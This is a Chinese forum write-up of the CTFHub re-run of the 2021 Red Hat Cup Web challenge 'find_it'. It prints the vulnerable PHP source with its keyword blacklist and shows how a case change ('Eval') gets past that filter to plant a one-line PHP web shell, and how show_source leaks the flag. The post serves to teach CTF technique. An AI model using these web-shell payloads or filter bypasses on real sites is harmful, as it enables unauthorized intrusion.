首页
社区
课程
招聘
[原创][CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
2021-5-12 19:31 6242

[原创][CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

2021-5-12 19:31
6242

[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

看群里说CTFHub上复现了, 我来看看

 

本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了

 

 

只能想想其他办法咯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
 
#Really easy...
 
$file=fopen("flag.php","r") or die("Unable 2 open!");
 
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
 
 
$hack=fopen("hack.php","w") or die("Unable 2 open");
 
$a=$_GET['code'];
 
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
    die("you die");
}
if(strlen($a)>33){
    die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
 
fclose($file);
fclose($hack);
?>

preg_match()过滤了eval但是!!!!!

 

Eval它没ban

 

所以我们可以写'大'马

 

构造payload:

1
/?code=<?php%20@Eval($_POST['aaa']);?>

蚁剑连马

 

拿到flag:

 

 

但是作为菜鸡

 

我还是要重新思考一下这道题的思路:

 

代码中有几个函数需要注意一下

 

比如fopen(),fwrite(),fread()

1
2
fread() 函数读取文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

也就是说,这里已经读到了flag

1
2
3
4
$a=$_GET['code'];
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
这里又都写到了hack.php

所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中

 

但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)

 

但是我想到了另外一个函数show_source()

1
show_source() 函数对文件进行语法高亮显示。

随机构造payload:

1
2
/?code=<?php show_source(__FILE__);?>
也没有被ban的项,正常传入

然后访问hack.php

 

flag他就出来了。。。。

 

同时还有我传入的payload

 

 

搞一波骚操作!

 

 

所以,今天又学到了新姿势~~~~


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回